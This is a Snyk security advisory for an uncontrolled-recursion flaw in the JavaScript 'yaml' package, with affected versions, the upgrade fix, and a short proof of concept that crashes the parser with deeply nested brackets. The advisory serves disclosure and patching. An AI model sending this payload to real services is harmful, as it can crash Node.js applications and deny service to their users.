Uncontrolled Recursion Affecting yaml package, versions >=1.0.0 <1.10.3>=2.0.0 <2.8.3


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.05% (16th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-YAML-15765520
  • published26 Mar 2026
  • disclosed25 Mar 2026
  • creditkq5y, Peak Twilight

Introduced: 25 Mar 2026

NewCVE-2026-33532  (opens in a new tab)
CWE-674  (opens in a new tab)

How to fix?

Upgrade yaml to version 1.10.3, 2.8.3 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion in the compose/resolve phase due to using recursive function calls without a depth bound. An attacker can cause the application to throw a RangeError and potentially terminate the Node.js process by supplying a deeply nested YAML payload that exhausts the call stack.

PoC

const YAML = require('yaml');

// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);

try {
  YAML.parse(payload);
} catch (e) {
  console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
  console.log(e.message);          // Maximum call stack size exceeded
}

CVSS Base Scores

version 4.0
version 3.1